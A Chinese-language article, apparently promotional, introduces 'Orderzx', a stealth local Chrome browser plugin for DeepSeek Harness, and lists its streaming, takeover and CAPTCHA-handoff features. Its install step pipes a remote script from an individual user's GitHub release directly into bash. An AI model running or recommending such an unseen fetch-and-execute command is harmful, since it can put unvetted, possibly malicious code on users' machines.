前言¶
在 DeepSeek Harness 的开发流程中,与网页交互是常见需求。传统的远程浏览器方案通常需要账户和云服务,存在延迟且隐私风险较高。下面介绍 Orderzx 插件,它为 Harness 会话提供了一个本地、隐身且可接管的自助 Chrome 浏览器环境。
插件介绍¶
Orderzx 是一个名为 dsh-browser 的插件,由用户 canelaslorenzoenego-ai 维护。它运行在本地(127.0.0.1),具备零云架构和零账户设计,旨在作为 Harness 会话内的实时、隐身、可接管且自主的浏览器环境。
安装¶
使用官方提供的安装脚本进行安装。该脚本会克隆代码、构建并输出插件配置命令。
curl -fsSL https://github.com/canelaslorenzoenego-ai/Orderzx/releases/download/v0.2.0-rc.24/install.sh | bash
核心能力¶
本地运行与架构¶
- 零云与零账户:所有操作均在本地运行,不依赖云端服务或账户登录。
- 多会话并发:支持多个浏览器会话同时运行(即子代理),每个会话独立管理自己的标签页,互不干扰。
流与接管¶
- 实时帧流:提供实时的屏幕帧流,支持人工接管。接管后,模型的手势控制由用户的鼠标接管。
- 手势字幕:在流中提供手势字幕,说明意图(例如“点击 Sign in”)。
- 视频采样与回放:支持通过
browser_clip进行视频帧采样,或通过browser_reel生成独立的 HTML artifact,包含帧和手势轨迹。 - 视频感知增强:对播放中的视频进行采样,提升运动感知能力。
CAPTCHA 处理¶
- 人工移交:遇到验证码时,插件会暂停代理,并将控制权移交给您。您使用自己的指纹和 IP 解决验证码后,代理可继续执行任务。插件本身不具备自动解决验证码的能力。
自动恢复¶
- 自动恢复手势引用:页面重载或元素引用失效时,插件会尝试从元素身份重新解析引用,优先于坐标定位。
使用方式¶
启动浏览器¶
在 DeepSeek Harness 的聊天输入框中输入以下命令即可启动浏览器:
* 输入 /start 启动默认浏览器。
* 输入 /start https://example.com 启动并导航至指定网址。
技术细节与兼容性¶
- 兼容性:插件设计为兼容
dsh-web和Cordis生成,采用结构化而非名义化的兼容策略,确保与不同版本的 Harness 系统兼容。 - 权限与依赖:插件使用 Patchright 引擎,默认配置隐身模式。安装前请确认 Node.js 版本满足要求(≥20)。
结语¶
Orderzx 插件通过本地化部署解决了 Harness 开发中的浏览器交互痛点,提供了从视频流、手势控制到多会话管理的完整能力。更多细节请参考插件目录或 GitHub 仓库。
- 插件目录:Orderzx - SkillHub
- 代码仓库:Orderzx on GitHub